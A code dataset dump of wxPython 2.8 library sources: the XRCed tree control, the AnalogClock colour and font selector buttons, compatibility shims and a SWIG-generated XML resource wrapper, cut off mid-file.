skip '%'\n self.ExecCode(code)\n\n # Maybe this should be moved to presenter?\n def ExecCode(self, code):\n logger.debug('executing comment pragma: \\n%s', code)\n try:\n exec code in globals(), self.locals\n except:\n wx.LogError('exec error: \"%s\"' % code)\n logger.exception(\"execution of in-line comment failed\")\n\n def SetItemStyle(self, item, node):\n # Different color for comments and references\n if node.nodeType == node.COMMENT_NODE:\n self.SetItemTextColour(item, self.COLOUR_COMMENT)\n self.SetItemFont(item, self.fontComment)\n elif node.tagName == 'object_ref':\n self.SetItemTextColour(item, self.COLOUR_REF)\n# elif treeObj.hasStyle and treeObj.params.get('hidden', False):\n# self.SetItemTextColour(item, self.COLOUR_HIDDEN) \n\n def Flush(self):\n '''Update all items after changes in model.'''\n self.Clear()\n # Update root item\n self.SetPyData(self.root, Model.mainNode)\n # (first node is test node, skip it)\n for n in filter(is_object, Model.mainNode.childNodes[1:]):\n self.AddNode(self.root, n)\n\n def FlushSubtree(self, item, node):\n '''Update all items after changes in model.'''\n if item is None or item == self.root:\n self.Flush()\n return\n self.DeleteChildren(item)\n className = node.getAttribute('class')\n try:\n comp = Manager.components[className]\n except:\n # Flush completely if unknown\n self.Flush()\n return\n for n in filter(is_object, node.childNodes):\n self.AddNode(item, comp.getTreeNode(n))\n\n def ExpandAll(self):\n i, cookie = self.GetFirstChild(self.root)\n while i:\n self.ExpandAllChildren(i)\n i, cookie = self.GetNextChild(self.root, cookie)\n\n def CollapseAll(self):\n i, cookie = self.GetFirstChild(self.root)\n while i:\n self.CollapseAllChildren(i)\n i, cookie = self.GetNextChild(self.root, cookie)\n\n # Override to use same form as InsertItem\n def InsertItemBefore(self, parent, next, label, image=-1, data=None):\n prev = self.GetPrevSibling(next)\n if prev:\n return self.InsertItem(parent, prev, label, image, data=data)\n else:\n return self.PrependItem(parent, label, image, data=data)\n\n def GetSelection(self):\n if self.GetSelections():\n return self.GetSelections()[-1]\n else: return None\n\n # Return item index in parent\n def ItemIndex(self, item):\n n = 0 # index of sibling\n prev = self.GetPrevSibling(item)\n while prev.IsOk():\n prev = self.GetPrevSibling(prev)\n n += 1\n return n\n\n # Full tree index of an item - list of positions\n def ItemFullIndex(self, item):\n if not item.IsOk(): return None\n l = []\n while item != self.root:\n l.insert(0, self.ItemIndex(item))\n item = self.GetItemParent(item)\n return l\n\n # Get item position from full index\n def ItemAtFullIndex(self, index):\n if index is None: return wx.TreeItemId()\n item = self.root\n for i in index:\n item = self.GetFirstChild(item)[0]\n for k in range(i): item = self.GetNextSibling(item)\n return item\n\n # Return item child index in parent (skip non-window items)\n def ItemIndexWin(self, item):\n n = 0 # index of sibling\n prev = self.GetPrevSibling(item)\n while prev.IsOk():\n if self.GetPyData(prev).nodeType != Model.dom.COMMENT_NODE: \n n += 1\n prev = self.GetPrevSibling(prev)\n return n\n\n # Get expanded state of all items\n def GetFullState(self, item=None):\n if not item: item = self.root\n states = []\n item = self.GetFirstChild(item)[0]\n while item:\n if self.ItemHasChildren(item):\n state = self.IsExpanded(item)\n states.append(state)\n if state: states.extend(self.GetFullState(item))\n item = self.GetNextSibling(item)\n return states\n\n # Set expanded state of all items\n def SetFullState(self, states, item=None):\n if not item:\n item = self.root\n states = states[:]\n item = self.GetFirstChild(item)[0]\n while item:\n if self.ItemHasChildren(item):\n state = states.pop(0)\n if state: self.Expand(item)\n else: self.Collapse(item)\n if state: self.SetFullState(states, item)\n item = self.GetNextSibling(item)\n\n # Find item with given data (node)\n def Find(self, item, name):\n node = self.GetPyData(item)\n if is_element(node) and node.getAttribute('name') == name:\n return item\n item,cookie = self.GetFirstChild(item)\n while item:\n found = self.Find(item, name)\n if found: return found\n item = self.GetNextSibling(item)\n return None\n\n # Fixes for broken and platform-incompatible functions\n\n def ItemHasChildren(self, item):\n return self.GetChildrenCount(item)\n\n if wx.Platform == '__WXMSW__':\n\n # Generate selection event\n def SelectItem(self, item):\n wx.TreeCtrl.SelectItem(self, item)\n evt = wx.TreeEvent(wx.EVT_TREE_SEL_CHANGED.typeId, self, item)\n wx.PostEvent(self, evt)\n", "id": "10296826", "language": "Python", "matching_score": 2.6525142192840576, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/XRCed/XMLTree.py" }, { "content": "# AnalogClock's colour selector for setup dialog\n# <NAME> <e.a.tacao |at| estadao.com.br>\n# http://j.domaindlx.com/elements28/wxpython/\n# 15 Fev 2006, 22:00 GMT-03:00\n# Distributed under the wxWidgets license.\n\nimport wx\nfrom wx.lib.newevent import NewEvent\nfrom wx.lib.buttons import GenBitmapButton\n\n#----------------------------------------------------------------------------\n\n(ColourSelectEvent, EVT_COLOURSELECT) = NewEvent()\n\n#----------------------------------------------------------------------------\n\nclass ColourSelect(GenBitmapButton):\n def __init__(self, parent, size=(21, 21), value=wx.BLACK):\n w, h = size[0] - 5, size[1] - 5\n GenBitmapButton.__init__(self, parent, wx.ID_ANY, wx.EmptyBitmap(w, h),\n size=size)\n self.SetBezelWidth(1)\n\n self.parent = parent\n self.SetValue(value)\n\n self.parent.Bind(wx.EVT_BUTTON, self.OnClick, self)\n\n\n def _makeBitmap(self):\n bdr = 8; w, h = self.GetSize()\n bmp = wx.EmptyBitmap(w - bdr, h - bdr)\n\n dc = wx.MemoryDC()\n dc.SelectObject(bmp)\n dc.SetBackground(wx.Brush(self.value, wx.SOLID))\n dc.Clear()\n dc.SelectObject(wx.NullBitmap)\n\n self.SetBitmapLabel(bmp)\n self.Refresh()\n\n\n def GetValue(self):\n return self.value\n\n\n def SetValue(self, value):\n self.value = value\n self._makeBitmap()\n\n\n def OnClick(self, event):\n win = wx.GetTopLevelParent(self)\n\n data = wx.ColourData()\n data.SetChooseFull(True)\n data.SetColour(self.value)\n [data.SetCustomColour(colour_index, win.customcolours[colour_index])\n for colour_index in range(0, 16)]\n\n dlg = wx.ColourDialog(win, data)\n dlg.SetTitle(\"Select Colour\")\n changed = dlg.ShowModal() == wx.ID_OK\n\n if changed:\n data = dlg.GetColourData()\n self.SetValue(data.GetColour())\n win.customcolours = [data.GetCustomColour(colour_index) \\\n for colour_index in range(0, 16)]\n dlg.Destroy()\n\n if changed:\n nevt = ColourSelectEvent(id=self.GetId(), obj=self, val=self.value)\n wx.PostEvent(self.parent, nevt)\n\n\n#\n##\n### eof\n", "id": "8077786", "language": "Python", "matching_score": 6.624300956726074, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/analogclock/lib_setup/colourselect.py" }, { "content": "# AnalogClock's font selector for setup dialog\n# <NAME> <e.a.tacao |at| estadao.com.br>\n# http://j.domaindlx.com/elements28/wxpython/\n# 15 Fev 2006, 22:00 GMT-03:00\n# Distributed under the wxWidgets license.\n\nimport wx\nfrom wx.lib.newevent import NewEvent\nfrom wx.lib.buttons import GenButton\n\n#----------------------------------------------------------------------------\n\n(FontSelectEvent, EVT_FONTSELECT) = NewEvent()\n\n#----------------------------------------------------------------------------\n\nclass FontSelect(GenButton):\n def __init__(self, parent, size=(75, 21), value=None):\n GenButton.__init__(self, parent, wx.ID_ANY, label=\"Select...\", \n size=size)\n self.SetBezelWidth(1)\n\n self.parent = parent\n self.SetValue(value)\n \n self.parent.Bind(wx.EVT_BUTTON, self.OnClick, self)\n\n\n def GetValue(self):\n return self.value\n\n\n def SetValue(self, value):\n if value is None:\n value = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT)\n self.value = value\n\n\n def OnClick(self, event):\n data = wx.FontData()\n data.EnableEffects(False)\n font = self.value; font.SetPointSize(10)\n data.SetInitialFont(font)\n\n dlg = wx.FontDialog(self, data)\n changed = dlg.ShowModal() == wx.ID_OK\n\n if changed:\n data = dlg.GetFontData()\n self.value = data.GetChosenFont()\n self.Refresh()\n dlg.Destroy()\n\n if changed:\n nevt = FontSelectEvent(id=self.GetId(), obj=self, val=self.value)\n wx.PostEvent(self.parent, nevt)\n\n\n#\n##\n### eof\n", "id": "7881310", "language": "Python", "matching_score": 1.9921046495437622, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/analogclock/lib_setup/fontselect.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n\nimport wx.lib.buttons\n\n__doc__ = wx.lib.buttons.__doc__\n\nwxGenButtonEvent = wx.lib.buttons.GenButtonEvent\nwxGenButton = wx.lib.buttons.GenButton\nwxGenBitmapButton = wx.lib.buttons.GenBitmapButton\nwxGenBitmapTextButton = wx.lib.buttons.GenBitmapTextButton\nwxGenToggleButton = wx.lib.buttons.GenToggleButton\nwxGenBitmapToggleButton = wx.lib.buttons.GenBitmapToggleButton\nwxGenBitmapTextToggleButton = wx.lib.buttons.GenBitmapTextToggleButton\n", "id": "943705", "language": "Python", "matching_score": 3.559955596923828, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/buttons.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n\nimport wx.lib.stattext\n\n__doc__ = wx.lib.stattext.__doc__\n\nwxGenStaticText = wx.lib.stattext.GenStaticText\n", "id": "11503518", "language": "Python", "matching_score": 0.02377716265618801, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/stattext.py" }, { "content": "# This file was created automatically by SWIG 1.3.29.\n# Don't modify this file, modify the SWIG interface instead.\n\n\"\"\"\nThe `XmlResource` class allows program resources defining menus, layout of\ncontrols on a panel, etc. to be loaded from an XML file.\n\"\"\"\n\nimport _xrc\nimport new\nnew_instancemethod = new.instancemethod\ndef _swig_setattr_nondynamic(self,class_type,name,value,static=1):\n if (name == \"thisown\"): return self.this.own(value)\n if (name == \"this\"):\n if type(value).__name__ == 'PySwigObject':\n self.__dict__[name] = value\n return\n method = class_type.__swig_setmethods__.get(name,None)\n if method: return method(self,value)\n if (not static) or hasattr(self,name):\n self.__dict__[name] = value\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n\ndef _swig_setattr(self,class_type,name,value):\n return _swig_setattr_nondynamic(self,class_type,name,value,0)\n\ndef _swig_getattr(self,class_type,name):\n if (name == \"thisown\"): return self.this.own()\n method = class_type.__swig_getmethods__.get(name,None)\n if method: return method(self)\n raise AttributeError,name\n\ndef _swig_repr(self):\n try: strthis = \"proxy of \" + self.this.__repr__()\n except: strthis = \"\"\n return \"<%s.%s; %s >\" % (self.__class__.__module__, self.__class__.__name__, strthis,)\n\nimport types\ntry:\n _object = types.ObjectType\n _newclass = 1\nexcept AttributeError:\n class _object : pass\n _newclass = 0\ndel types\n\n\ndef _swig_setattr_nondynamic_method(set):\n def set_attr(self,name,value):\n if (name == \"thisown\"): return self.this.own(value)\n if hasattr(self,name) or (name == \"this\"):\n set(self,name,value)\n else:\n raise AttributeError(\"You cannot add attributes to %s\" % self)\n return set_attr\n\n\nimport _core\nwx = _core \n__docfilter__ = wx.__DocFilter(globals()) \n#---------------------------------------------------------------------------\n\nWX_XMLRES_CURRENT_VERSION_MAJOR = _xrc.WX_XMLRES_CURRENT_VERSION_MAJOR\nWX_XMLRES_CURRENT_VERSION_MINOR = _xrc.WX_XMLRES_CURRENT_VERSION_MINOR\nWX_XMLRES_CURRENT_VERSION_RELEASE = _xrc.WX_XMLRES_CURRENT_VERSION_RELEASE\nWX_XMLRES_CURRENT_VERSION_REVISION = _xrc.WX_XMLRES_CURRENT_VERSION_REVISION\nXRC_USE_LOCALE = _xrc.XRC_USE_LOCALE\nXRC_NO_SUBCLASSING = _xrc.XRC_NO_SUBCLASSING\nXRC_NO_RELOADING = _xrc.XRC_NO_RELOADING\nclass XmlResource(_core.Object):\n \"\"\"Proxy of C++ XmlResource class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, String filemask, int flags=XRC_USE_LOCALE, String domain=wxEmptyString) -> XmlResource\"\"\"\n _xrc.XmlResource_swiginit(self,_xrc.new_XmlResource(*args, **kwargs))\n self.InitAllHandlers()\n\n __swig_destroy__ = _xrc.delete_XmlResource\n __del__ = lambda self : None;\n def Load(*args, **kwargs):\n \"\"\"Load(self, String filemask) -> bool\"\"\"\n return _xrc.XmlResource_Load(*args, **kwargs)\n\n def LoadFromString(*args, **kwargs):\n \"\"\"LoadFromString(self, buffer data) -> bool\"\"\"\n return _xrc.XmlResource_LoadFromString(*args, **kwargs)\n\n def Unload(*args, **kwargs):\n \"\"\"Unload(self, String filename) -> bool\"\"\"\n return _xrc.XmlResource_Unload(*args, **kwargs)\n\n def InitAllHandlers(*args, **kwargs):\n \"\"\"InitAllHandlers(self)\"\"\"\n return _xrc.XmlResource_InitAllHandlers(*args, **kwargs)\n\n def AddHandler(*args, **kwargs):\n \"\"\"AddHandler(self, XmlResourceHandler handler)\"\"\"\n return _xrc.XmlResource_AddHandler(*args, **kwargs)\n\n def InsertHandler(*args, **kwargs):\n \"\"\"InsertHandler(self, XmlResourceHandler handler)\"\"\"\n return _xrc.XmlResource_InsertHandler(*args, **kwargs)\n\n def ClearHandlers(*args, **kwargs):\n \"\"\"ClearHandlers(self)\"\"\"\n return _xrc.XmlResource_ClearHandlers(*args, **kwargs)\n\n def AddSubclassFactory(*args, **kwargs):\n \"\"\"AddSubclassFactory(XmlSubclassFactory factory)\"\"\"\n return _xrc.XmlResource_AddSubclassFactory(*args, **kwargs)\n\n AddSubclassFactory = staticmethod(AddSubclassFactory)\n def LoadMenu(*args, **kwargs):\n \"\"\"LoadMenu(self, String name) -> Menu\"\"\"\n return _xrc.XmlResource_LoadMenu(*args, **kwargs)\n\n def LoadMenuBar(*args, **kwargs):\n \"\"\"LoadMenuBar(self, String name) -> MenuBar\"\"\"\n return _xrc.XmlResource_LoadMenuBar(*args, **kwargs)\n\n def LoadMenuBarOnFrame(*args, **kwargs):\n \"\"\"LoadMenuBarOnFrame(self, Window parent, String name) -> MenuBar\"\"\"\n return _xrc.XmlResource_LoadMenuBarOnFrame(*args, **kwargs)\n\n def LoadToolBar(*args, **kwargs):\n \"\"\"LoadToolBar(self, Window parent, String name) -> wxToolBar\"\"\"\n return _xrc.XmlResource_LoadToolBar(*args, **kwargs)\n\n def LoadDialog(*args, **kwargs):\n \"\"\"LoadDialog(self, Window parent, String name) -> wxDialog\"\"\"\n return _xrc.XmlResource_LoadDialog(*args, **kwargs)\n\n def LoadOnDialog(*args, **kwargs):\n \"\"\"LoadOnDialog(self, wxDialog dlg, Window parent, String name) -> bool\"\"\"\n return _xrc.XmlResource_LoadOnDialog(*args, **kwargs)\n\n def LoadPanel(*args, **kwargs):\n \"\"\"LoadPanel(self, Window parent, String name) -> wxPanel\"\"\"\n return _xrc.XmlResource_LoadPanel(*args, **kwargs)\n\n def LoadOnPanel(*args, **kwargs):\n \"\"\"LoadOnPanel(self, wxPanel panel, Window parent, String name) -> bool\"\"\"\n return _xrc.XmlResource_LoadOnPanel(*args, **kwargs)\n\n def LoadFrame(*args, **kwargs):\n \"\"\"LoadFrame(self, Window parent, String name) -> wxFrame\"\"\"\n return _xrc.XmlResource_LoadFrame(*args, **kwargs)\n\n def LoadOnFrame(*args, **kwargs):\n \"\"\"LoadOnFrame(self, wxFrame frame, Window parent, String name) -> bool\"\"\"\n return _xrc.XmlResource_LoadOnFrame(*args, **kwargs)\n\n def LoadObject(*args, **kwargs):\n \"\"\"LoadObject(self, Window parent, String name, String classname) -> Object\"\"\"\n return _xrc.XmlResource_LoadObject(*args, **kwargs)\n\n def LoadOnObject(*args, **kwargs):\n \"\"\"LoadOnObject(self, Object instance, Window parent, String name, String classname) -> bool\"\"\"\n return _xrc.XmlResource_LoadOnObject(*args, **kwargs)\n\n def LoadBitmap(*args, **kwargs):\n \"\"\"LoadBitmap(self, String name) -> Bitmap\"\"\"\n return _xrc.XmlResource_LoadBitmap(*args, **kwargs)\n\n def LoadIcon(*args, **kwargs):\n \"\"\"LoadIcon(self, String name) -> Icon\"\"\"\n return _xrc.XmlResource_LoadIcon(*args, **kwargs)\n\n def AttachUnknownControl(*args, **kwargs):\n \"\"\"AttachUnknownControl(self, String name, Window control, Window parent=None) -> bool\"\"\"\n return _xrc.XmlResource_AttachUnknownControl(*args, **kwargs)\n\n def GetXRCID(*args, **kwargs):\n \"\"\"GetXRCID(String str_id, int value_if_not_found=ID_NONE) -> int\"\"\"\n return _xrc.XmlResource_GetXRCID(*args, **kwargs)\n\n GetXRCID = staticmethod(GetXRCID)\n def GetVersion(*args, **kwargs):\n \"\"\"GetVersion(self) -> long\"\"\"\n return _xrc.XmlResource_GetVersion(*args, **kwargs)\n\n def CompareVersion(*args, **kwargs):\n \"\"\"CompareVersion(self, int major, int minor, int release, int revision) -> int\"\"\"\n return _xrc.XmlResource_CompareVersion(*args, **kwargs)\n\n def Get(*args, **kwargs):\n \"\"\"Get() -> XmlResource\"\"\"\n return _xrc.XmlResource_Get(*args, **kwargs)\n\n Get = staticmethod(Get)\n def Set(*args, **kwargs):\n \"\"\"Set(XmlResource res) -> XmlResource\"\"\"\n return _xrc.XmlResource_Set(*args, **kwargs)\n\n Set = staticmethod(Set)\n def GetFlags(*args, **kwargs):\n \"\"\"GetFlags(self) -> int\"\"\"\n return _xrc.XmlResource_GetFlags(*args, **kwargs)\n\n def SetFlags(*args, **kwargs):\n \"\"\"SetFlags(self, int flags)\"\"\"\n return _xrc.XmlResource_SetFlags(*args, **kwargs)\n\n def GetDomain(*args, **kwargs):\n \"\"\"GetDomain(self) -> String\"\"\"\n return _xrc.XmlResource_GetDomain(*args, **kwargs)\n\n def SetDomain(*args, **kwargs):\n \"\"\"SetDomain(self, String domain)\"\"\"\n return _xrc.XmlResource_SetDomain(*args, **kwargs)\n\n Domain = property(GetDomain,SetDomain,doc=\"See `GetDomain` and `SetDomain`\") \n Flags = property(GetFlags,SetFlags,doc=\"See `GetFlags` and `SetFlags`\") \n Version = property(GetVersion,doc=\"See `GetVersion`\") \n_xrc.XmlResource_swigregister(XmlResource)\ncvar = _xrc.cvar\nUTF8String = cvar.UTF8String\nStyleString = cvar.StyleString\nSizeString = cvar.SizeString\nPosString = cvar.PosString\nBitmapString = cvar.BitmapString\nIconString = cvar.IconString\nFontString = cvar.FontString\nAnimationString = cvar.AnimationString\n\ndef EmptyXmlResource(*args, **kwargs):\n \"\"\"EmptyXmlResource(int flags=XRC_USE_LOCALE, String domain=wxEmptyString) -> XmlResource\"\"\"\n val = _xrc.new_EmptyXmlResource(*args, **kwargs)\n val.InitAllHandlers()\n return val\n\ndef XmlResource_AddSubclassFactory(*args, **kwargs):\n \"\"\"XmlResource_AddSubclassFactory(XmlSubclassFactory factory)\"\"\"\n return _xrc.XmlResource_AddSubclassFactory(*args, **kwargs)\n\ndef XmlResource_GetXRCID(*args, **kwargs):\n \"\"\"XmlResource_GetXRCID(String str_id, int value_if_not_found=ID_NONE) -> int\"\"\"\n return _xrc.XmlResource_GetXRCID(*args, **kwargs)\n\ndef XmlResource_Get(*args):\n \"\"\"XmlResource_Get() -> XmlResource\"\"\"\n return _xrc.XmlResource_Get(*args)\n\ndef XmlResource_Set(*args, **kwargs):\n \"\"\"XmlResource_Set(XmlResource res) -> XmlResource\"\"\"\n return _xrc.XmlResource_Set(*args, **kwargs)\n\ndef XRCID(str_id, value_if_not_found = wx.ID_NONE):\n return XmlResource_GetXRCID(str_id, value_if_not_found)\n\ndef XRCCTRL(window, str_id, *ignoreargs):\n return window.FindWindowById(XRCID(str_id))\n\n#---------------------------------------------------------------------------\n\nclass XmlSubclassFactory(object):\n \"\"\"Proxy of C++ XmlSubclassFactory class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> XmlSubclassFactory\"\"\"\n _xrc.XmlSubclassFactory_swiginit(self,_xrc.new_XmlSubclassFactory(*args, **kwargs))\n XmlSubclassFactory._setCallbackInfo(self, self, XmlSubclassFactory)\n\n def _setCallbackInfo(*args, **kwargs):\n \"\"\"_setCallbackInfo(self, PyObject self, PyObject _class)\"\"\"\n return _xrc.XmlSubclassFactory__setCallbackInfo(*args, **kwargs)\n\n_xrc.XmlSubclassFactory_swigregister(XmlSubclassFactory)\n\n#---------------------------------------------------------------------------\n\nXML_ELEMENT_NODE = _xrc.XML_ELEMENT_NODE\nXML_ATTRIBUTE_NODE = _xrc.XML_ATTRIBUTE_NODE\nXML_TEXT_NODE = _xrc.XML_TEXT_NODE\nXML_CDATA_SECTION_NODE = _xrc.XML_CDATA_SECTION_NODE\nXML_ENTITY_REF_NODE = _xrc.XML_ENTITY_REF_NODE\nXML_ENTITY_NODE = _xrc.XML_ENTITY_NODE\nXML_PI_NODE = _xrc.XML_PI_NODE\nXML_COMMENT_NODE = _xrc.XML_COMMENT_NODE\nXML_DOCUMENT_NODE = _xrc.XML_DOCUMENT_NODE\nXML_DOCUMENT_TYPE_NODE = _xrc.XML_DOCUMENT_TYPE_NODE\nXML_DOCUMENT_FRAG_NODE = _xrc.XML_DOCUMENT_FRAG_NODE\nXML_NOTATION_NODE = _xrc.XML_NOTATION_NODE\nXML_HTML_DOCUMENT_NODE = _xrc.XML_HTML_DOCUMENT_NODE\nclass XmlProperty(object):\n \"\"\"Proxy of C++ XmlProperty class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, String name=EmptyString, String value=EmptyString, \n XmlProperty next=None) -> XmlProperty\n \"\"\"\n _xrc.XmlProperty_swiginit(self,_xrc.new_XmlProperty(*args, **kwargs))\n def GetName(*args, **kwargs):\n \"\"\"GetName(self) -> String\"\"\"\n return _xrc.XmlProperty_GetName(*args, **kwargs)\n\n def GetValue(*args, **kwargs):\n \"\"\"GetValue(self) -> String\"\"\"\n return _xrc.XmlProperty_GetValue(*args, **kwargs)\n\n def GetNext(*args, **kwargs):\n \"\"\"GetNext(self) -> XmlProperty\"\"\"\n return _xrc.XmlProperty_GetNext(*args, **kwargs)\n\n def SetName(*args, **kwargs):\n \"\"\"SetName(self, String name)\"\"\"\n return _xrc.XmlProperty_SetName(*args, **kwargs)\n\n def SetValue(*args, **kwargs):\n \"\"\"SetValue(self, String value)\"\"\"\n return _xrc.XmlProperty_SetValue(*args, **kwargs)\n\n def SetNext(*args, **kwargs):\n \"\"\"SetNext(self, XmlProperty next)\"\"\"\n return _xrc.XmlProperty_SetNext(*args, **kwargs)\n\n Name = property(GetName,SetName,doc=\"See `GetName` and `SetName`\") \n Next = property(GetNext,SetNext,doc=\"See `GetNext` and `SetNext`\") \n Value = property(GetValue,SetValue,doc=\"See `GetValue` and `SetValue`\") \n_xrc.XmlProperty_swigregister(XmlProperty)\n\nclass XmlNode(object):\n \"\"\"Proxy of C++ XmlNode class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, XmlNode parent=None, int type=0, String name=EmptyString, \n String content=EmptyString, XmlProperty props=None, \n XmlNode next=None) -> XmlNode\n \"\"\"\n _xrc.XmlNode_swiginit(self,_xrc.new_XmlNode(*args, **kwargs))\n __swig_destroy__ = _xrc.delete_XmlNode\n __del__ = lambda self : None;\n def AddChild(*args, **kwargs):\n \"\"\"AddChild(self, XmlNode child)\"\"\"\n return _xrc.XmlNode_AddChild(*args, **kwargs)\n\n def InsertChild(*args, **kwargs):\n \"\"\"InsertChild(self, XmlNode child, XmlNode before_node) -> bool\"\"\"\n return _xrc.XmlNode_InsertChild(*args, **kwargs)\n\n def InsertChildAfter(*args, **kwargs):\n \"\"\"InsertChildAfter(self, XmlNode child, XmlNode precedingNode) -> bool\"\"\"\n return _xrc.XmlNode_InsertChildAfter(*args, **kwargs)\n\n def RemoveChild(*args, **kwargs):\n \"\"\"RemoveChild(self, XmlNode child) -> bool\"\"\"\n return _xrc.XmlNode_RemoveChild(*args, **kwargs)\n\n def AddProperty(*args, **kwargs):\n \"\"\"AddProperty(self, XmlProperty prop)\"\"\"\n return _xrc.XmlNode_AddProperty(*args, **kwargs)\n\n def AddPropertyName(*args, **kwargs):\n \"\"\"AddPropertyName(self, String name, String value)\"\"\"\n return _xrc.XmlNode_AddPropertyName(*args, **kwargs)\n\n def DeleteProperty(*args, **kwargs):\n \"\"\"DeleteProperty(self, String name) -> bool\"\"\"\n return _xrc.XmlNode_DeleteProperty(*args, **kwargs)\n\n def GetType(*args, **kwargs):\n \"\"\"GetType(self) -> int\"\"\"\n return _xrc.XmlNode_GetType(*args, **kwargs)\n\n def GetName(*args, **kwargs):\n \"\"\"GetName(self) -> String\"\"\"\n return _xrc.XmlNode_GetName(*args, **kwargs)\n\n def GetContent(*args, **kwargs):\n \"\"\"GetContent(self) -> String\"\"\"\n return _xrc.XmlNode_GetContent(*args, **kwargs)\n\n def IsWhitespaceOnly(*args, **kwargs):\n \"\"\"IsWhitespaceOnly(self) -> bool\"\"\"\n return _xrc.XmlNode_IsWhitespaceOnly(*args, **kwargs)\n\n def GetDepth(*args, **kwargs):\n \"\"\"GetDepth(self, XmlNode grandparent=None) -> int\"\"\"\n return _xrc.XmlNode_GetDepth(*args, **kwargs)\n\n def GetNodeContent(*args, **kwargs):\n \"\"\"GetNodeContent(self) -> String\"\"\"\n return _xrc.XmlNode_GetNodeContent(*args, **kwargs)\n\n def GetParent(*args, **kwargs):\n \"\"\"GetParent(self) -> XmlNode\"\"\"\n return _xrc.XmlNode_GetParent(*args, **kwargs)\n\n def GetNext(*args, **kwargs):\n \"\"\"GetNext(self) -> XmlNode\"\"\"\n return _xrc.XmlNode_GetNext(*args, **kwargs)\n\n def GetChildren(*args, **kwargs):\n \"\"\"GetChildren(self) -> XmlNode\"\"\"\n return _xrc.XmlNode_GetChildren(*args, **kwargs)\n\n def GetProperties(*args, **kwargs):\n \"\"\"GetProperties(self) -> XmlProperty\"\"\"\n return _xrc.XmlNode_GetProperties(*args, **kwargs)\n\n def GetPropVal(*args, **kwargs):\n \"\"\"GetPropVal(self, String propName, String defaultVal) -> String\"\"\"\n return _xrc.XmlNode_GetPropVal(*args, **kwargs)\n\n def HasProp(*args, **kwargs):\n \"\"\"HasProp(self, String propName) -> bool\"\"\"\n return _xrc.XmlNode_HasProp(*args, **kwargs)\n\n def SetType(*args, **kwargs):\n \"\"\"SetType(self, int type)\"\"\"\n return _xrc.XmlNode_SetType(*args, **kwargs)\n\n def SetName(*args, **kwargs):\n \"\"\"SetName(self, String name)\"\"\"\n return _xrc.XmlNode_SetName(*args, **kwargs)\n\n def SetContent(*args, **kwargs):\n \"\"\"SetContent(self, String con)\"\"\"\n return _xrc.XmlNode_SetContent(*args, **kwargs)\n\n def SetParent(*args, **kwargs):\n \"\"\"SetParent(self, XmlNode parent)\"\"\"\n return _xrc.XmlNode_SetParent(*args, **kwargs)\n\n def SetNext(*args, **kwargs):\n \"\"\"SetNext(self, XmlNode next)\"\"\"\n return _xrc.XmlNode_SetNext(*args, **kwargs)\n\n def SetChildren(*args, **kwargs):\n \"\"\"SetChildren(self, XmlNode child)\"\"\"\n return _xrc.XmlNode_SetChildren(*args, **kwargs)\n\n def SetProperties(*args, **kwargs):\n \"\"\"SetProperties(self, XmlProperty prop)\"\"\"\n return _xrc.XmlNode_SetProperties(*args, **kwargs)\n\n def GetAttribute(*args, **kwargs):\n \"\"\"GetAttribute(self, String attrName, String defaultVal) -> String\"\"\"\n return _xrc.XmlNode_GetAttribute(*args, **kwargs)\n\n def AddAttribute(*args, **kwargs):\n \"\"\"AddAttribute(self, String attrName, String value)\"\"\"\n return _xrc.XmlNode_AddAttribute(*args, **kwargs)\n\n def GetAttributes(*args, **kwargs):\n \"\"\"GetAttributes(self) -> XmlProperty\"\"\"\n return _xrc.XmlNode_GetAttributes(*args, **kwargs)\n\n Children = property(GetChildren,SetChildren,doc=\"See `GetChildren` and `SetChildren`\") \n Content = property(GetContent,SetContent,doc=\"See `GetContent` and `SetContent`\") \n Name = property(GetName,SetName,doc=\"See `GetName` and `SetName`\") \n Next = property(GetNext,SetNext,doc=\"See `GetNext` and `SetNext`\") \n Parent = property(GetParent,SetParent,doc=\"See `GetParent` and `SetParent`\") \n Properties = property(GetProperties,SetProperties,doc=\"See `GetProperties` and `SetProperties`\") \n Type = property(GetType,SetType,doc=\"See `GetType` and `SetType`\") \n_xrc.XmlNode_swigregister(XmlNode)\n\ndef XmlNodeEasy(*args, **kwargs):\n \"\"\"XmlNodeEasy(int type, String name, String content=EmptyString) -> XmlNode\"\"\"\n val = _xrc.new_XmlNodeEasy(*args, **kwargs)\n return val\n\nXML_NO_INDENTATION = _xrc.XML_NO_INDENTATION\nXMLDOC_NONE = _xrc.XMLDOC_NONE\nXMLDOC_KEEP_WHITESPACE_NODES = _xrc.XMLDOC_KEEP_WHITESPACE_NODES\nclass XmlDocument(_core.Object):\n \"\"\"Proxy of C++ XmlDocument class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, String filename, String encoding=UTF8String) -> XmlDocument\"\"\"\n _xrc.XmlDocument_swiginit(self,_xrc.new_XmlDocument(*args, **kwargs))\n __swig_destroy__ = _xrc.delete_XmlDocument\n __del__ = lambda self : None;\n def Load(*args, **kwargs):\n \"\"\"Load(self, String filename, String encoding=UTF8String, int flags=XMLDOC_NONE) -> bool\"\"\"\n return 